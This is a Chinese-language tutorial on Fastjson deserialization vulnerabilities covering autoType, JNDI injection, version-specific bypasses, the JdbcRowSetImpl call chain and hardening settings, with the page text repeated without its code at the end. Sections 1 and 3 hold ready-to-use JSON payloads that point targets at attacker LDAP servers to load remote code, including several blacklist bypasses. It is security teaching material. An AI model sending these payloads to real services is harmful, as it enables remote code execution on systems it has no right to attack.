Fastjson反序列化漏洞深度解析与利用和修复
字数 2244 2025-08-22 18:37:14

Fastjson反序列化漏洞深度解析与利用修复指南

1. 漏洞原理

Fastjson反序列化漏洞的核心在于其autoType功能。当autoType开启时,Fastjson会根据JSON数据中的@type字段来实例化对应的Java对象。攻击者可以利用这个特性,将@type字段设置为恶意类的名称,并在JSON数据中传入恶意类的属性值,从而触发恶意类的setter方法,最终导致代码执行。

示例分析

示例1 - 正常反序列化

package org.example;
public class User {
    private int age;
    private String name;
    
    public void setAge(int age) {
        System.out.println("setAge被调用: " + age);
        this.age = age;
    }
    
    public void setName(String name) {
        System.out.println("setName被调用: " + name);
        this.name = name;
    }
}

String userJson = "{\"@type\":\"org.example.User\",\"age\":11,\"name\":\"xiaodi\"}";
User user = (User)JSON.parse(userJson);

示例2 - 恶意反序列化

String userJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.2.103:1389/imfoer\",\"autoCommit\":\"true\"}";
User user = (User)JSON.parse(userJson);
  • 解析@type对应的类JdbcRowSetImpl
  • 触发类JdbcRowSetImpl里面的set方法
  • dataSourceName设置为恶意LDAP地址
  • 触发lookup方法,解析JNDI payload导致命令执行

2. 利用方式 - JNDI注入

JNDI(Java Naming and Directory Interface)是Java提供的命名和目录服务接口,可用于查找和访问各种资源。

2.1 远程引用模式(基于JDK版本)

原理
在JDK版本较低时,JNDI支持从远程加载类,攻击者可以通过JNDI地址指向远程恶意类实现远程代码执行。

Java对象在JNDI中的存储方式

  • Java序列化之后的数据
  • JNDI Reference
  • Marshalled对象
  • Remote Location (Java 1.8u191+已弃用)

版本限制

  • Java 8u191之前:默认允许加载远程类
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    
  • Java 8u191+:自动禁用远程加载类
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    

2.2 反序列化模式(高版本JDK绕过)

依赖条件

  • 依赖特定的第三方库(gadget chain)
  • 目标环境中存在可利用的反序列化库
  • 未禁止JNDI反序列化:
    System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false") // 默认允许
    

利用方式

  1. 探测反序列化链(使用DNSLOG平台)
  2. 根据探测结果(如CC链)生成基于反序列化的JNDI注入payload

2.3 本地引用模式(Local Reference绕过高版本JDK)

依赖条件

  • 目标环境中存在特定的类(Tomcat、Groovy等)
  • 目标环境包含攻击所需的类

利用方式
利用本地已有的类(如org.apache.naming.factory.BeanFactory)作为Factory,通过JNDI注入实例化恶意类并执行代码。

3. 漏洞利用与版本绕过

3.1 漏洞触发点

  • JSON.parseObject(): 反序列化为Java对象
  • JSON.parse(): 解析JSON对象(存在@type时也会触发反序列化)

3.2 Fastjson不同版本的绕过历史

3.2.1 Fastjson 1.2.24及之前

特点

  • autoType默认开启
  • 无严格黑名单限制

利用方式

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://192.168.2.103:1389/imfoer",
    "autoCommit": "true"
}

3.2.2 Fastjson 1.2.25-1.2.41

特点

  • autoType默认关闭(可配置开启)
  • 引入黑名单机制
  • 可通过在类名前后加"L"和";"绕过

利用方式

{
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://192.168.2.103:1389/imfoer",
    "autoCommit": "true"
}

3.2.3 Fastjson 1.2.42-1.2.47

特点

  • autoType默认关闭
  • 修复"L"和";"绕过方式

通杀Exp方案

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://192.168.139.1:1389/lvkr9r",
        "autoCommit": true
    }
}

3.2.4 Fastjson <=1.2.62

前提条件

  • xbean依赖
  • 手动开启autotype

Exp

{
    "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    "AsText": "ldap://127.0.0.1:1099/exploit"
}

3.2.5 Fastjson <=1.2.66

前提条件

  • shiro依赖
  • 手动开启autotype

Exp

{
    "@type": "org.apache.shiro.jndi.JndiObjectFactory",
    "resourceName": "ldap://192.168.80.1:1389/Calc"
}

3.3 Fastjson反序列化链跟踪(JdbcRowSetImpl链)

利用条件

  • Fastjson版本 <= 1.2.47
  • autoTypeSupport开启或通过java.lang.Class绕过黑名单

反序列化调用链

  1. JSON.parseObject()/JSON.parse()
  2. DefaultJSONParser.parse()
  3. DefaultJSONParser.parseObject()
  4. JavaBeanDeserializer.deserialze()
  5. FieldDeserializer.setValue()
  6. TypeUtils.cast()
  7. TypeUtils.loadClass() (加载JdbcRowSetImpl类)
  8. JavaBeanDeserializer.deserialze() (反序列化JdbcRowSetImpl对象)
  9. FieldDeserializer.setValue() (设置dataSourceName属性)
  10. FieldDeserializer.setValue() (设置autoCommit属性)
  11. JdbcRowSetImpl.setAutoCommit(true)
  12. JdbcRowSetImpl.connect()
  13. JndiDataSource.getConnection()
  14. JndiContext.lookup("ldap://192.168.139.1:1389/Exploit") (JNDI注入)

4. 加固修复方法

4.1 禁用JDK的远程JNDI查找和反序列化模式

启动参数方式

java -Dcom.sun.jndi.ldap.object.trustURLCodebase=false \
     -Dcom.sun.jndi.rmi.object.trustURLCodebase=false \
     -Dcom.sun.jndi.ldap.object.trustSerialData=false \
     -jar your-application.jar

代码方式

static {
    setPropertyIfAbsent("com.sun.jndi.ldap.object.trustURLCodebase", "false");
    setPropertyIfAbsent("com.sun.jndi.rmi.object.trustURLCodebase", "false");
    setPropertyIfAbsent("com.sun.jndi.ldap.object.trustSerialData", "false");
}

Spring Boot配置方式(推荐)

spring:
  application:
    jvm:
      args:
        - "-Dcom.sun.jndi.ldap.object.trustURLCodebase=false"
        - "-Dcom.sun.jndi.rmi.object.trustURLCodebase=false"
        - "-Dcom.sun.jndi.ldap.object.trustSerialData=false"

4.2 禁用Fastjson autotype

全局禁用(强烈推荐)

@Configuration
public class FastjsonConfig {
    @PostConstruct
    public void init() {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
    }
}

4.3 配置Fastjson反序列化白名单

代码方式

@Configuration
public class FastjsonConfig {
    @PostConstruct
    public void init() {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        ParserConfig.getGlobalInstance().addAccept("com.example.model.");
        ParserConfig.getGlobalInstance().addAccept("com.example.another.SpecificClass");
    }
}

Spring Boot配置方式(推荐)

spring:
  application:
    jvm:
      args: -Dfastjson.parser.autoTypeAccept=com.example.model.exclass,com.example.another.SpecificClass
Fastjson反序列化漏洞深度解析与利用修复指南 1. 漏洞原理 Fastjson反序列化漏洞的核心在于其autoType功能。当autoType开启时,Fastjson会根据JSON数据中的 @type 字段来实例化对应的Java对象。攻击者可以利用这个特性,将 @type 字段设置为恶意类的名称,并在JSON数据中传入恶意类的属性值,从而触发恶意类的setter方法,最终导致代码执行。 示例分析 示例1 - 正常反序列化 示例2 - 恶意反序列化 解析 @type 对应的类 JdbcRowSetImpl 触发类 JdbcRowSetImpl 里面的set方法 将 dataSourceName 设置为恶意LDAP地址 触发 lookup 方法,解析JNDI payload导致命令执行 2. 利用方式 - JNDI注入 JNDI(Java Naming and Directory Interface)是Java提供的命名和目录服务接口,可用于查找和访问各种资源。 2.1 远程引用模式(基于JDK版本) 原理 : 在JDK版本较低时,JNDI支持从远程加载类,攻击者可以通过JNDI地址指向远程恶意类实现远程代码执行。 Java对象在JNDI中的存储方式 : Java序列化之后的数据 JNDI Reference Marshalled对象 Remote Location (Java 1.8u191+已弃用) 版本限制 : Java 8u191之前:默认允许加载远程类 Java 8u191+:自动禁用远程加载类 2.2 反序列化模式(高版本JDK绕过) 依赖条件 : 依赖特定的第三方库(gadget chain) 目标环境中存在可利用的反序列化库 未禁止JNDI反序列化: 利用方式 : 探测反序列化链(使用DNSLOG平台) 根据探测结果(如CC链)生成基于反序列化的JNDI注入payload 2.3 本地引用模式(Local Reference绕过高版本JDK) 依赖条件 : 目标环境中存在特定的类(Tomcat、Groovy等) 目标环境包含攻击所需的类 利用方式 : 利用本地已有的类(如 org.apache.naming.factory.BeanFactory )作为Factory,通过JNDI注入实例化恶意类并执行代码。 3. 漏洞利用与版本绕过 3.1 漏洞触发点 JSON.parseObject() : 反序列化为Java对象 JSON.parse() : 解析JSON对象(存在 @type 时也会触发反序列化) 3.2 Fastjson不同版本的绕过历史 3.2.1 Fastjson 1.2.24及之前 特点 : autoType默认开启 无严格黑名单限制 利用方式 : 3.2.2 Fastjson 1.2.25-1.2.41 特点 : autoType默认关闭(可配置开启) 引入黑名单机制 可通过在类名前后加"L"和";"绕过 利用方式 : 3.2.3 Fastjson 1.2.42-1.2.47 特点 : autoType默认关闭 修复"L"和";"绕过方式 通杀Exp方案 : 3.2.4 Fastjson <=1.2.62 前提条件 : xbean依赖 手动开启autotype Exp : 3.2.5 Fastjson <=1.2.66 前提条件 : shiro依赖 手动开启autotype Exp : 3.3 Fastjson反序列化链跟踪(JdbcRowSetImpl链) 利用条件 : Fastjson版本 <= 1.2.47 autoTypeSupport开启或通过java.lang.Class绕过黑名单 反序列化调用链 : JSON.parseObject()/JSON.parse() DefaultJSONParser.parse() DefaultJSONParser.parseObject() JavaBeanDeserializer.deserialze() FieldDeserializer.setValue() TypeUtils.cast() TypeUtils.loadClass() (加载JdbcRowSetImpl类) JavaBeanDeserializer.deserialze() (反序列化JdbcRowSetImpl对象) FieldDeserializer.setValue() (设置dataSourceName属性) FieldDeserializer.setValue() (设置autoCommit属性) JdbcRowSetImpl.setAutoCommit(true) JdbcRowSetImpl.connect() JndiDataSource.getConnection() JndiContext.lookup("ldap://192.168.139.1:1389/Exploit") (JNDI注入) 4. 加固修复方法 4.1 禁用JDK的远程JNDI查找和反序列化模式 启动参数方式 : 代码方式 : Spring Boot配置方式(推荐) : 4.2 禁用Fastjson autotype 全局禁用(强烈推荐) : 4.3 配置Fastjson反序列化白名单 代码方式 : Spring Boot配置方式(推荐) :